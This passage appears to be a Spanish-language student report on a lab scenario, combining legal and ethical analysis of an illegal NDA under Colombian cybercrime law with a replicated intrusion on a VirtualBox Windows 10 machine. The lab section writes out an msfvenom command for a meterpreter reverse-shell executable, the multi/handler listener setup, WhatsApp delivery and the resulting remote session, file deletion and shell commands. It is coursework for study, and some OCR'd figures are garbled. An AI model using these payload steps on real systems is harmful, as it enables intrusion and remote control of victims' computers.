con las creaciones del intelecto, a la naturaleza, medios, formas de
distribucion, comercializacion de productos o de prestacion de servicios,
transmitida verbal, visual o materialmente, por escrito en los documentos,

medios electronicos.

8 DEPARTAMENTO ADMINISTRATIVO DE LA FUNCION PUBLICA. Ley 1273 de 2009.
Normatividad sobre delitos informaticos. [En linea]. [Consultado en 17 de Agosto de 2023].

Disponible en: https://www.funcionpublica.gov.co/eva/gestornormativo/norma_pdf.php?i=34492
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Al establecerse esta claridad incluso la informacion que fue compartida por
los candidatos a la vacante laboral, asi como cualquier informacién de las
personas y proveedores que tienen contacto con la empresa pueden verse

inmersos en procesos ilicitos.

En las obligaciones de la parte receptora en el numeral 3, menciona: No
denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacion de informacion

de terceros.

De por si ya corresponde a una falta ética grave el no denunciar el
conocimiento de procesos ilegales que vulneran los derechos de las
personas como para a su vez continuar este comportamiento en el

desempeno de funciones “laborales”.

En las obligaciones de la parte receptora en el numeral 4, menciona:
Responder por el mal uso que le den sus representantes a la informacion

confidencial.

Ademas de ya colaborar encubriendo actividades ilicitas, en caso de que
estas fuesen descubiertas por las autoridades legales competentes,
seriamos los directos responsables de actividades que podrian pasar
ocultas a nuestros ojos, siendo culpables de delitos que no hemos

cometido.

En las obligaciones de la parte receptora en el numeral 5, menciona:

Responder ante las autoridades competentes como responsable en caso de
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que la informacion se encuentre en su poder dentro de un proceso de
allanamiento.

Este parrafo nos haria directamente responsables en caso de que la
informacion tuviera alguna relacion ilicita, aun si no tuviésemos
conocimiento de esta situacion, ademas de que la organizacion se
desligaria de cualquier relacion con nosotros como empleados para evitar

cualquier inconveniente legal.

En las obligaciones de la parte receptora en el numeral 6, menciona: La
parte receptora se obliga a no transmitir, comunicar revelar o de cualquier
otra forma divulgar total o parcialmente, publica o privadamente, la
informacion confidencial o ilegal sin el previo consentimiento por escrito por

parte de HackerHouse.

Ese elemento estaria enfocado en mantener las actividades ilegales de la
organizacion a fin de que no se pudieran denunciar los comportamientos y

procedimientos que incumplan la ley.

En cuanto a la octava consideracion de la solucion de controversias
menciona: En caso que la informacion ilegal o confidencial sea encontrada
en manos del receptor este debera acudir a un abogado privado y dejar

exenta de cualquier responsabilidad legal y penal a HackerHouse.

Este elemento también libraria de toda responsabilidad a la organizacion
siendo nosotros completamente responsables en caso de que la
informacion manejada o los procedimientos realizados con la misma,

estuviesen relacionados a algun hecho ilicito.
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En general la suma de todos estos elementos hace que este acuerdo de
confidencialidad sea ilegal, al presentar varios elementos que incitan a la

realizacidn y encubrimiento de conductas delictivas.

Para erradicar el malware de forma inicial, se realizd la eliminacion del archivo
malicioso encontrado PoC 1049640160.exe, posterior a esto tras identificar que
todas las defensas del equipo estaban desactivadas, se activaron
progresivamente, como se observa en la Figura 1, se activo la configuracién de
proteccion contra virus y amenazas de Windows. Estos elementos son especificos

contra algunas firmas de virus y amenazas ya conocidas por Windows defender.

4.2.2 Legislacion aplicable a los elementos ilegales del acuerdo de
confidencialidad

Teniendo en cuenta los elementos ilegales previamente identificados, a
continuacion, se citan los elementos de la ley colombiana que estaria violentando

el acuerdo de confidencialidad:

e Ley 1273 de 2009 - Articulo 269A: Acceso abusivo a un sistema
informatico.
o Definicién de informacion confidencial item 2

o Obligaciones parte receptora numeral 3

e Ley 1273 de 2009 - Articulo 269C: Interceptacion de datos informaticos.
o Definicion de informacidn confidencial item 2 (chuzadas)

o Obligaciones parte receptora numeral 3

e Ley 1273 de 2009 - Articulo 269E: Uso de software malicioso.

o Obligaciones parte receptora numeral 3
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o Ley 1273 de 2009 - Articulo 269F: Violacion de datos personales.
o Consideraciones Primera Objeto.
o Definicion de informacién confidencial item 2
o Obligaciones parte receptora numeral 3
o Obligaciones parte receptora numeral 4
o Obligaciones parte receptora numeral 5

o Obligaciones parte receptora numeral 6

e Ley 1273 de 2009 - Articulo 269H: Circunstancias de agravacion punitiva.
o Definicion de informacién confidencial item 2
o Obligaciones parte receptora numeral 3
o Obligaciones parte receptora numeral 5

o Obligaciones parte receptora numeral 6

e Ley 1581 de 2012 — Proteccion de datos personales.
o Consideraciones tercer item (origen de la informacién confidencial).

o Obligaciones parte receptora numeral 4

Es importante mencionar que, dentro de las consideraciones, la novena habla de
la legislacion aplicable en la republica de Colombia y que se interpretara de
acuerdo con las mismas, teniendo esto en cuenta, las leyes prevalecen sobre
cualquier contrato hecho entre partes, razén por la cual muchos de los elementos
que incitan a comportamientos delictivos en el acuerdo de confidencialidad al
llevarlos a una instancia legal, harian improcedente el acuerdo. Si se diese el caso
hipotético de firmarlo y este posteriormente se diese a conocer a las instancias
legales, las partes se verian investigadas a fin de identificar las responsabilidades
individuales y compartidas de los hechos, siendo ambas acreedoras de las

sanciones punitivas vigentes.
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4.2.3 Analisis del escenario de contratacion de Hacker House

Desde el punto de vista personal, al encontrar todas estas irregularidades en el
acuerdo de confidencialidad de HackerHouse, no podria llegar aceptar este tipo de
contrato, no solo por las implicaciones éticas y morales que conlleva, los delitos en
los que podria incurrir, si no adicional a estas, las medidas sancionatorias que
adoptaria el COPNIA. Es importante mencionar que el COPNIA impone 3 tipos de
sanciones aplicables: Amonestaciones escritas, suspension en el ejercicio de la
profesidn hasta por 5 afios y por ultimo la cancelacion de la matricula profesional,
siendo esta ultima impuesta para las faltas gravisimas expuestas en el codigo de

ética®.

Teniendo en cuenta lo anterior, las actividades que realiza HackerHouse estarian
consideradas como faltas gravisimas, conforme al articulo 53 de la ley 842 de
20032°;

e Derivar, de manera directa o por interpuesta persona, indebido o
fraudulento provecho patrimonial en ejercicio de la profesion, con

consecuencias graves para la parte afectada.

e Incurrir en algun delito que atente contra sus clientes, colegas o autoridades
de la Republica, siempre y cuando la conducta punible comprenda el

gjercicio de la ingenieria o de alguna de sus profesiones auxiliares

8 COPNIA. Cédigo de ética para el ejercicio de la Ingenieria en general y sus profesiones afines y
auxiliares. [En linea]. [Consultado en 18 de Agosto de 2023]. Disponible en:
https://www.copnia.gov.co/sites/default/files/node/pagef/field_insert_file/codigo_etica.pdf

20 CONGRESO DE COLOMBIA. Ley 842 de 2003. [En linea]. [Consultado en 18 de Agosto de
2023]. Disponible en: https://www.copnia.gov.co/nuestra-entidad/normatividad/ley-842-de-2003
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Lo que conllevaria a la cancelaciéon de la matricula profesional, la pena carcelaria,
la multa econémica por infringir la ley; en resumen, aceptar el contrato de
HackerHouse por unos pocos millones a cambio de destruirnos la vida y los
suefos que hemos construido a lo largo del tiempo, es un riesgo innecesario, no

vale la pena.

4.2.4 Ejemplo noticia de cibercrimen en Colombia

Al grupo Nutresa, en el mes de Abril, fue victima un ataque informatico, este fue
informado en el diario pulzo?' aunque posteriormente desde otras fuentes como el
diario la republica??, se obtuvo mas detalle, donde Nutresa informaba que fue
especificamente un ataque de ransomware, afortunadamente contaban con un
protocolo de accion para estos casos, sin embargo vieron afectaciones sobre la
disponibilidad de algunos de sus servicios de IT, asi como una afectacién minima

sobre la informacion de la organizacion y algunos terceros.

Especificamente para este ataque se violaron los siguientes articulos de la ley
1273 de 2009:

e Articulo 269A: Acceso abusivo a un sistema informatico: Al lograr ingresar a
los sistemas de Nutresa de forma no consentida.

e Articulo 269B: Obstaculizacién ilegitima de sistema informatico o red de
telecomunicacion: Tras verse afectada la disponibilidad de algunos de los

servicios IT de Nutresa.

21 PULZO. Nutresa fue victima de ataque cibernético, pero no le han podido robar informacion. [En
linea]. [Consultado en 18 de Agosto de 2023] Disponible en: https://www.pulzo.com/nacion/nutresa-
fue-victima-ataque-cibernetico-todas-sus-plataformas-PP2762803A

22| A REPUBLICA. Tecnologia. Grupo Nutresa informa afectaciones en la informacion luego del
ataque cibernético. [En linea]. [Consultado en 18 de Agosto de 2023]. Disponible en:
https://www.larepublica.co/empresas/grupo-nutresa-informa-afectaciones-en-la-informacion-luego-
del-ataque-cibernetico-3601585
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e Articulo 269C: Interceptacion de datos informaticos: Se interceptaron datos
en el interior del sistema de Nutresa.

e Articulo 269D: Dano Informatico: Al ser un ransomware, buscaba alterar y
suprimir datos con fines extorsivos.

e Articulo 269E: Uso de software malicioso: Hicieron uso de un ransomware
para realizar el cometido.

e Articulo 269F: Violacion de datos personales: Se obtuvieron y modificaron

algunos datos de los sistemas de Nutresa.

Por lo anterior en caso de que los ciberdelincuentes fueran identificados, de por si
ya la pena carcelaria y la multa econdomica de la violacion de esos articulos seria
bastante alta, ademas que de encontrarse mas informacion de cémo fue
desarrollado el ataque, con que herramientas o desde que lugar, podrian sumarse

muchos mas ilicitos.
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4.3 EJECUCION DE PRUEBAS DE INTRUSION

En este capitulo se desarrolla a detalle el proceso realizado del escenario

presentado por Hacker House.

4.3.1 Herramientas de software utilizadas

A continuacion, se realiza la descripcion de las herramientas de pentesting

utilizadas para llevar a cabo el proceso del escenario propuesto.

4.3.1.1 Nmap

Con el fin de identificar al equipo victima y obtener mas informacion del objetivo,
se hizo uso de la herramienta de escaneo nmap, nmap?® es una herramienta
utilizada para el analisis de redes y auditorias de seguridad, dentro de sus

funcionalidades estan:

e Lista de dispositivos en la red

e Verificacidn de servicios activos

¢ Monitoreo de host y servicios

¢ Informacién de sistema operativo

e Informacion de versiones de servicios

e Informacién del trafico por protocolo

¢ Identificacion de puertos abiertos

e Banco de scripts para tareas de seguridad

e Generacion de scripts para automatizacién de procesos

23 NMAP.ORG. Nmap: Discover your network. [En linea]. [Consultado en 29 de Agosto de 2023].
Disponible en: https://nmap.org/
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En el escenario propuesto se realiz6 un escaneo de los servicios y puertos
abiertos de la IP victima siendo la 192.168.1.103 del equipo Windows 10, como se

muestra en la Figura 10 con la ejecucidon del comando nmap 192.168.1.103.

Figura 10. Escaneo de puertos y servicios abiertos del equipo victima — Windows
10

/home/kali

nmap 192.168.1.103
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-26 17:46 -05
Nmap scan report for 192.168.1.103
Host is up (0.00012s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
MAC Address: 08:00:27:9E:B1:5C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 19.72 seconds

Fuente: Propia

Como resultados del escaneo se observo que:

e Puerto 135 abierto, protocolo TCP, con el servicio msrpc?* que corresponde
al registro de sucesos de seguridad de Microsoft a través del protocolo
msrpc, Windows utiliza este servicio para la programacion de tareas, la
creacion de servicios, la configuracion de impresoras y recursos
compartidos de forma remota, siendo una posible brecha de seguridad al

encontrarse expuesto.

24 AKAMAI. Descripcion general de MS-RCP y sus mecanismos de seguridad. [En lineal.
[Consultado en 29 de Agosto de 2023]. Disponible en: https://www.akamai.com/es/blog/security-
research/msrpc-security-mechanisms
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e Puerto 139 abierto, protocolo TCP, con el servicio netbios-ssn?°, de por si
este servicio de sesion se utiliza para la transmision de datos y la
comunicacion de nuevas conexiones, siendo otra posible brecha de

seguridad ante conexiones maliciosas entrantes.

e Puerto 445% abierto, protocolo TCP, con el servicio Microsoft-ds, en este
caso para la comunicacion del directorio activo mediante el protocolo SMB,
este puerto es vulnerable ante ataques de infiltracion, e insercion de
gusanos informaticos, normalmente se abre en redes domésticas para

compartir archivos de forma local o el acceso a impresoras.

e Puerto 5357 abierto, protocolo tcp, con el servicio wsdapi, este se encarga
de establecer los servicios web de actualizacidon para diversos dispositivos,
especificamente en Microsoft se detecté una vulnerabilidad de ejecucion
remota de codigo con este servicio para Windows Vista y Windows Server
200827

4.3.1.2 Metasploit

Metasploit?® es una plataforma para la realizacion de pruebas de pentesting

desarrollada en Ruby, de por si Metasploit cuenta con diferentes herramientas que

permite el testeo de vulnerabilidades de seguridad, ejecucion de ataques, entre

25 BIRWAR. Servicio de sesion (NetBIOS-SSN). . [En linea]. [Consultado en 29 de Agosto de 2023].
Disponible en: https://www.bitwarsoft.com/es/what-is-
netbios.html#:~:text=Servicio%20de%20sesion%20(NetBIOS-
SSN,nombre%20NetBIOS%20remoto%20y%20especifico.

26 CLASESORDENADOR. Para que sirve y como deshabilitar este puerto TCP 445. [En lineal.
[Consultado en 29 de Agosto de 2023]. Disponible en: https://www.clasesordenador.com/para-que-
sirve-y-como-deshabilitar-este-puerto-tcp-445/

27T CCN-CERT.Defensa frente a las amenazas. [En linea]. [Consultado en 29 de Agosto de 2023].
Disponible en: https://www.ccn-cert.cni.es/seguridad-al-dia/vulnerabilidades/view/4962.html

28 RAPID7. Metasploit Framework. [En linea]. [Consultado en 31 de Agosto de 2023]. Disponible
en: https://docs.rapid7.com/metasploit/msf-overview
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otras muchas funcionalidades que generan el entorno perfecto para los
especialistas en ciberseguridad, asi como para ciberdelincuentes. Metasploit
cuenta con una serie de mdédulos para cada una de las etapas del pentesting, para
el caso de la situacion propuesta se hace uso de los modulos Msfpayload que es
un creador de ejecutables de payloads y meterpreter que es un payload de

ejecucion remota.

4.3.1.3 Msfvenom

Msfvenom como tal es el comando para la ejecucién de la herramienta propia de
metasploit, mas sin embargo en si, el médulo corresponde a Msfpayload?®, este
modulo permite la creacion de ejecutables con payloads especificos. Dentro de los

parametros necesarios para la generacion del ejecutable se necesitan:

e Ruta de donde se guardara el payload a crear dentro del sistema local de
archivos.

e Direccién IP local donde se establecera la conexion con el payload

e Puerto local por el que se conectara la maquina vulnerada

e Parametro de exportacion y tipo de formato del archivo ejecutable

e Nombre del archivo ejecutable

Existen algunos parametros adicionales, pero pueden variar segun sea el caso de

aplicacién del ejecutable a crear.

29 TECH SCHOOL KEEPCODING. ¢,Qué es Msfpayload?. [En linea]. [Consultado en 31 de Agosto
de 2023]. Disponible en: https://keepcoding.io/blog/que-es-
msfpayload/#:~:text=msfvenom%3A%20se%20utiliza%20para%20iniciar,inversa%20a%20un%20p
uerto%20TCP.
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4.3.1.4 Exploit (multi/handler)

El modulo exploit(multi/handler)® es un script de codigo que permite configurar las
caracteristicas de explotacion de los exploits que son lanzados a las maquinas
victima, especificamente necesita de dos parametros, la IP y el puerto de la
maquina escucha que estara en espera de la sesidén creada por el payload de la

maquina victima.

4.3.1.5 Meterpreter

Meterpreter® es un payload que cuenta con diferentes herramientas para
interactuar con la maquina victima desde una sesidn establecida, adicionalmente
desde alli es posible cargar mas modulos, herramientas de Metasploit e incluso
una Shell con privilegios que permiten el control total de la maquina victima.

Meterpreter clasifica sus comandos en 10 categorias:

e Comandos core, comunes

e Comandos sistema de archivos

e Comandos de redes

e Comandos del sistema

e Comandos de interfaz de usuario

e Comandos de webcam

e Comandos de salida de audio

e Comandos de elevacion de privilegios

e Comandos de bases de datos de contrasefias

e Comandos de Timestomp

30 RAPID7. Generic Payload Handler. [En linea]. [Consultado en 31 de Agosto de 2023]. Disponible
en: https://www.rapid7.com/db/modules/exploit/multi’/handler/

31 RAPID7. Manage Meterpreter and Shell Sessions. [En linea]. [Consultado en 31 de Agosto de
2023]. Disponible en: https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions/
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4.3.2 Identificacién del fallo de seguridad

Teniendo en cuenta la situacion desarrollada en el escenario de la organizacién

HackerHouse se encontraron una serie de hallazgos que permitieron identificar el

fallo de seguridad, estos son:

El archivo con extensién .txt ubicado en el escritorio que fue eliminado, da
indicios de la motivacion del delincuente informatico, lo que genera

hipotesis de cdmo pudo cometer el ilicito.

La ejecucion del archivo descargado via whatsapp por el colaborador de la
organizacion, permite afiadir a la hipétesis que este fue el medio por el cual
el atacante pudo ingresar a la computadora, a partir del analisis de este
archivo podria ser posible identificar el modus operandi del

ciberdelincuente.

De forma clave el que se encontraran desactivados los sistemas de
seguridad (Firewall, Windows Defender, Antivirus, entre otros), genero una
brecha de seguridad demasiado grande para identificar una sola forma en
que el atacante pudo haber ingresado al sistema; por defecto un sistema
operativo Windows 10 de 64 bits actualizado, con sus defensas activas tras
un escaneo con nmap arroja el resultado expuesto en la Figura 11, donde el
unico puerto abierto no presenta ninguna vulnerabilidad para la version del

sistema operativo del ejercicio.
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Figura 11. Escaneo con nmap a una maquina Windows 10 con defensas

activas.

/home/kali
nmap 192.168.1.103
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-26 17:51 -05
Nmap scan report for 192.168.1.103
Host is up (@.00018s latency).

Not shown: 999 filtered tcp ports (no-response)

PORT STATE SERVICE

5357/tcp open wsdapi

MAC Address: 08:00:27:9E:B1:5C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 11.4@ seconds

Fuente: Propia

Sin embargo, por defecto el puerto 5357/tcp se encuentra abierto para el
establecimiento de conexiones http, como se muestra en la Figura 12, por lo

que a partir de alli podria generarse una conexion.

Figura 12. Puerto 5357/tcp abierto, servicio http.

Starting Nmap 7. ( htt ap.org ) at 2@ 31 19:17 -85
Nmap scan report 192
Host is up (©0.00013
Not shown: 996 clos
STATE SERVICE
open msrpc M1 Ft Windows
open netbios-ssn Microsoft Windows
nnen mirrnenft_d=s?
http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
header: Microsoft-HTTPAPIL/
y CSRF vulr |
any DOM

_http-stor bilities.

MAC Address: B ' tual NIC)

false

: Could not negotiate a connection:SMB: Failed to receive
12-1182: Could not negotiate a connection:SMB: Failed to r
ice detection performed. Please report any incorrect results at https://n

map.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 177.19 seconds

Fuente: Propia
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4.3.3 Herramienta clave y puertos abiertos

Haciendo uso de la herramienta nmap, se logro identificar que la serie de puertos
disponibles en el escaneo se debian a la desactivacién de las herramientas de
seguridad de Windows, como se observé en la Figura 10. Por otro lado, es clave
mencionar que, tras repetir el escenario de ataque del ciberdelincuente, la
conexion se realizé mediante una Shell reversa®? por lo que aun con el firewall de
Windows activado, si este no contaba con una configuracion lo suficientemente
robusta, la conexién hubiese podido generarse y de igual modo verse afectado el

equipo, pues la solicitud de conexién tendria como origen el dispositivo victima.

4.3.4 Afectacion del ataque generado a la maquina Windows

El ataque generado a la maquina Windows 10 de forma inicial hizo uso de
ingenieria social, dado que el atacante haciendo uso de un tercero envio el
payload mediante whatsapp web y este ultimo en su curiosidad lo ejecut6 dando
lugar al establecimiento de una Shell inversa donde el equipo atacante con
sistema operativo Kali Linux con IP 192.168.1.102 ya se encontraba a la espera de
la generacion de la comunicacion desde la maquina victima escuchando desde el
puerto 443, una vez establecida la sesién desde meterpreter, el atacante obtenia
control total de la maquina, especificamente el atacante tenia como objetivo la

eliminacién del documento de texto del escritorio con nombre PoC_1049640160.

En la Figura 13, se puede observar el proceso mencionado anteriormente, también
puede ser relevante en la hipdtesis del ataque que la “victima” pudo estar

involucrada en el ataque como complice segun los hallazgos encontrados.

32 KEEPCODING. Tech School. ¢ Qué es una Shell inversa? [En linea]. [Consultado en 31 de
Agosto de 2023]. Disponible en: https://keepcoding.io/blog/que-es-una-shell-inversa/
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Figura 13. Ejecucion del ataque informatico.

Ciberdelincuente Victima
o —m— ™
Port 443 Fayload e
— ((. < o (| |
Ejecucién del payload ¥ | =

:'5%

IP 192 162.1.102

L]

IP192.162.1.104

Shell inversa Eliminacion del
Meterpreter documento por
el delincuente

Fuente: Propia

4.3.5 Comandos utilizados y estructura del payload

Replicando el proceso que realizé el ciberdelincuente para el ataque, tras haber
realizado el respectivo analisis e investigacion de la informacion de la victima, este
debié comenzar con la creacidon del archivo ejecutable haciendo uso de la
herramienta Metasploit y del comando msfvenom, como se observa en la Figura
14, existen diversas opciones para la creacion del payload segun las
caracteristicas especificas que tenga la victima o la situacion especifica donde se

pondra a prueba el payload y las medidas de seguridad.
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Figura 14. Opciones del comando msfvenom.
/home/kali

No options
nom - a Metasploit standalone payloa
nt for msfpayload and msf
msfvenom [options]

fusr/bin/msfvenom -p windows/ tcp LHOST=<IP> -f -0 payl

Options:
-1, --list i all modules for [type]. Types are: payloads,
5, platforms, ar 1L
-p, i loa oad to use (--list payleads to list, --list-op
uments). ecify or STDIN for custom
options List L
<form: Output format (us
encoder> The encoder to use (use
The e name to use when
section name to use v

e the smallest possible payload using all

[ encryption or encoding to apply to the

list)

-platform
-out

-bad-chars
-nopsled
-nops Use nopsled size spe
repending a s a (nops minus p
imum si
imum size

additio
custom
the —templ

ain

-timeout <second> The number of seconds to wait when reading
0 to disabl

Show this mess

Fuente: Propia

oad.exe

encoders, nop
tions for arg

\ision options

ilable enco

shellcode (u

output format

oad from STD

En la creacion del payload se hace uso de la opcion -p para el uso de un payload,

teniendo en cuenta que el sistema operativo victima corresponde a

un Windows

10 de 64 bits se aclara el tipo de payload, especificamente una sesion de

meterpreter que corresponde a una Shell inversa — tcp, con el comando —platform

se define la plataforma donde sera ejecutado que para el caso seria Windows, con

el comando -a se define la arquitectura del sistema, que para el caso
a x64, se define la direccion IP del LocalHost (192.168.1.102) que
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espera de la ejecucion del payload y el puerto por el que estara escuchando la
peticion de la conexion (443), la opcidn -f permite definir el formato de salida del
ejecutable, que para el caso corresponde a un .exe. Por ultimo, se define la ruta

del archivo donde quedara generado el payload, como se observa en la Figura 15.

Figura 15. Comandos de creacion del payload con msfvenom.

/home/kali
fven -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64
LHOST=192.168.1.102 LPORT=443 -f exe /home/kali/Escritorio/PoC_1049640160.ex

e
No encoder specified, outputting raw payload
Payload size: 510 bytes

Final size of exe file: 7168 bytes

Fuente: Propia

El resultado obtenido sera el payload con las caracteristicas configuradas en la

ubicacion deseada como se observa en la Figura 16.

Figura 16. Payload creado en la ubicacién definida.
| /home/kali/Escritorio »

8

2 kali kali 4096 ag 2C
15 kali kali 4896 ago 26 16:85

-rw-r—r— 1 root root @ ago 26 16:29 PoC_1@049640160.exe

Fuente: Propia

Una vez generado el archivo, el atacante procede a abrir la consola de Metasploit

como se observa en la Figura 17 para configurar la escucha de la sesion.
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Figura 17. Lanzamiento de la consola de metasploit.

/home/kali

ﬂ*] Starting the Metasploit FrAmework console ... -

Fuente: Propia.

Una vez sobre Metasploit, se hace uso del exploit/multi’/handler que lo que hace es
definir una IP y un puerto que estara esperando la conexion del payload, como se

muestra en la Figura 18.

Figura 18. Uso de exploit/multi’/handler.

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > B

Fuente: Propia

Posteriormente se procede a seleccionar el tipo de payload que establecera la
sesion del meterpreter, para ello se usa el comando set payload

Windows/x64/meterptreter/reverse_tcp como se muestra en la Figura 19.

Figura 19. Seleccion del tipo de payload a escuchar.

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp

msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp

Fuente: Propia

Para configurar el handler se hace uso de los comandos set lhost 192.168.1.102

y set Iport 443 como se observa en las Figuras 20 y 21 respectivamente.
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Figura 20. Configuracion del local host del handler.
msf6 exploit( ) > set lhost 192.168.1.102

lhost = 192.168.1.102

Fuente: Propia

Figura 21. Configuracion del local port del handler.

msf6 exploit( ) > set lport 443

lport = 443

Fuente: Propia

Una vez definidos los parametros solo basta con ejecutarlo mediante el comando
exploit como se observa en la Figura 22, donde se queda a la espera de que se

ejeute el payload en la maquina victima para establecer la sesion.

Figura 22. Ejecucion del exploit en escucha.

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.102:443

Fuente: Propia

Una vez preparado solo basta con transferir el archivo del payload via whatsapp,
descargarlo en la maquina victima y ejecutarlo. En las Figuras 23 y 24 se puede

observar la captura del proceso descrito.

Figura 23. Envio del payload via Whatsapp.

% PoC_1049640160.exe
EXE - 7 kB

PoC_ 104964
0160.exe

Fuente: Propia
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Figura 24. Ejecucion del payload en la maquina victima.

~ Hoy (1)
[®E] PoC_1049640160 26,08/2023 4:52 p. m. Aplicacidn TKB

Fuente: Propia

Al ser ejecutado el payload, automaticamente se establece la sesién de

meterpreter desde la maquina atacante como se muestra en la Figura 25.

Figura 25. Establecimiento de la sesion de meterpreter.

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.102:443

Sending stage (200774 bytes) to 192.168.1.103

Meterpreter session 1 opened (192.168.1.102:443 — 192.168.1.103:51506) at
2023-08-26 17:05:31 -0500

meterpreter > |}

Fuente: Propia

Una vez establecida la sesion se tiene control completo del dispositivo de la
victima, en la Figura 26 se puede observar que desde la sesion podemos

recolectar aun mas informacion del equipo victima con el comando sysinfo.

Figura 26. Ejecucion del comando sysinfo desde la sesion de meterpreter.

meterpreter > sysinfo
Computer . DESKTOP-B3SLS7M

0S : Windows 10 (10.0 Build 19045).
Architecture : Xb4

System Language es_MX
Domain : WORKGROUP

Logged On Users : 2
Meterpreter x64/windows

meterpreter > |

Fuente: Propia
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Desde la conexién también se puede observar el sistema de archivos de la
maquina victima, en la Figura 27 se puede observar los archivos del directorio de

descargas de la maquina victima, donde se descargo el payload.

Figura 27. Archivos del directorio Descargas de la maquina victima.

C:\Users\laboratorio\Downloads

meterpreter > dir
Listing: C:\Users\laboratorio\Downloads

Mode Size Type Last modified Name

100777 /rwxrwxrwx 7168 fil 2023-08-26 16:52:05 -0500 |PoC_1049640160.exe
100666/rw-rw-rw- 282 fil 2023-08-13 21:45:48 -0500 desktop.1ini

Fuente: Propia
Con el fin de replicar el proceso que realizé el delincuente se cred una nota de
texto de prueba en el escritorio como se observa en la Figura 28, para eliminarla

posteriormente.

Figura 28. Creacion de nota de texto de prueba.

_INEERER
Inicio Compartir Vista e
&« v 4 I » Esteequipo » Escritorio v 0 Buscar en Escritorio
Mombre Fecha de modificacion Tipo Tamario
#F Acceso rdpido
o |=| David_Buitrago_202337164_5_Septiembre...  26/08/2023 5:19 p. m. Documento de te... 1KB
[ Escritoric
Descargas
j David_Buitrago_202337164_5_Septiembre_10: Bloc de notas — O >

Archive Edicion  Formate  Ver  Ayuda
TEST]

Fuente: Propia
Desde la sesion de meterpreter se navego hasta el directorio del escritorio donde

se identific6 la nota de texto creada como se observa en la Figura 29 y 30

respectivamente.
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Figura 29. Navegacion al escritorio desde la sesion de meterpreter.

meterpreter > cd
meterpreter > pwd
C:\Users\laboratorio

meterpreter > dir
Listing: C:\Users\laboratorio

Mode Size Type Last modified Name

040555/r-xr-x 0 dir 2023-08-13 21:45: 3D Objects

=3 500

040777 /rwxrwx dir 2023-08-13 21:45: AppData

rwx 500

040777/ rwxrwx dir 2023-08-13 21:45: Configuracion local
rwx 500

040555/r-xr-x dir 2023-08-13 21:45: Contacts

r-x 500

040777/ rwxrwx dir 2023-08-13 21:45: Cookies

rwx 500

040777/ rwxrwx dir 2023-08-13 21:45: Datos de programa
rwx 500

040555/r-xr-x dir 2023-08-26 17:18: Desktop

r-x 500

Fuente: Propia

Figura 30. Identificacion del archivo a eliminar en el escritorio.
meterpreter > cd Desktop

meterpreter > dir
Listing: C:\Users\laboratorio\Desktop

Mode Size Type Last modified Name

100666/rw-rw- 4 fil 2023-08-26 17:19:01 -05 David_Buitrago_202337164
rw- 00 _5_Septiembre_10.txt
100666/rw-rw- 282 fil 2023-08-13 21:45:48 -05 aesktop.1ini

rw- 00

Fuente: Propia

Una vez alli se hace uso del comando del [nombre del archivo] como se observa

en la Figura 31 para eliminar el archivo.
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Figura 31. Eliminacioén del archivo de texto en el escritorio.

meterpreter > del David_Buitrago_202337164_5_Septiembre_10.txt

meterpreter > dir
Listing: C:\Users\laboratorio\Desktop

Mode Size Type Last modified Name

100666/rw-rw-rw- 282 fil 2023-08-13 21:45:48 -0500 desktop.ini

meterpreter > |

Fuente: Propia

Adicionalmente es clave mencionar que con el fin de obtener mas privilegios sobre
la maquina victima es posible ejecutar la consola de comandos mediante el
comando execute -f cmd.exe -i -H siendo este un comando de meterpreter, como

se muestra en la Figura 32.

Figura 32. Ejecucién de la consola de comandos desde meterpreter.

meterpreter > execute -f cmd.exe -1 -H

Process 7492 created.

Channel 1 created.

Microsoft Windows [Versien 10.0.19045.2006 ]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\laboratorio\Downloads>[]

Fuente: Propia
Con el fin de verificar el estado de los firewalls de Windows desde cmd se ejecuta

el comando netsh advfirewall show allprofiles teniendo como resultado que todas

las medidas estan desactivadas como se observan en las Figuras 33 y 34.
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Figura 33. Estado de los firewalls de Windows — parte 1.

C:\Users\laboratorio\Downloads>netsh advfirewall show allprofiles

netsh advfirewall show allprofiles

Configuracien de Perfil de dominio:

Estado

Directiva de firewall
LocalFirewallRules
LocalConSecRules
InboundUserNotification
RemoteManagement
UnicastResponseToMulticast

Registro:
LogAllowedConnections
LogDroppedConnections
FileName
pfirewall.log
MaxFileSize

Configuracien de Perfil privado:

Estado

Directiva de firewall
LocalFirewallRules
LocalConSecRules
InboundUserNotification
RemoteManagement
UnicastResponseToMulticast

Registro:
LogAllowedConnections
LogDroppedConnections
FileName
pfirewall.log
MaxFileSize

Fuente: Propia

DESACTIVAR
BlockInbound,AllowOutbound
N/A (solo almacen de GPO)
N/A (solo almacen de GPO)
Habilitar

Deshabilitar

Habilitar

Deshabilitar
Deshabilitar
%systemroot%\system32\LogFiles\Firewall\

4096

DESACTIVAR
BlockInbound,AllowOutbound
N/A (solo almacen de GPO)
N/A (solo almacen de GPO)
Habilitar

Deshabilitar

Habilitar

Deshabilitar
Deshabilitar
%systemroot%\system32\LogFiles\Firewall\

4096

Figura 34. Estado de los firewalls de Windows - parte 2.

Configuracien de Perfil peblico:

Estado

Directiva de firewall
LocalFirewallRules
LocalConSecRules
InboundUserNotification
RemoteManagement
UnicastResponseToMulticast

Registro:
LogAllowedConnections
LogDroppedConnections
FileName
pfirewall.log
MaxFileSize

Aceptar

Fuente: Propia

DESACTIVAR
BlockInbound,AllowOutbound
N/A (solo almacen de GPO)
N/A (solo almacen de GPO)
Habilitar

Deshabilitar

Habilitar

Deshabilitar
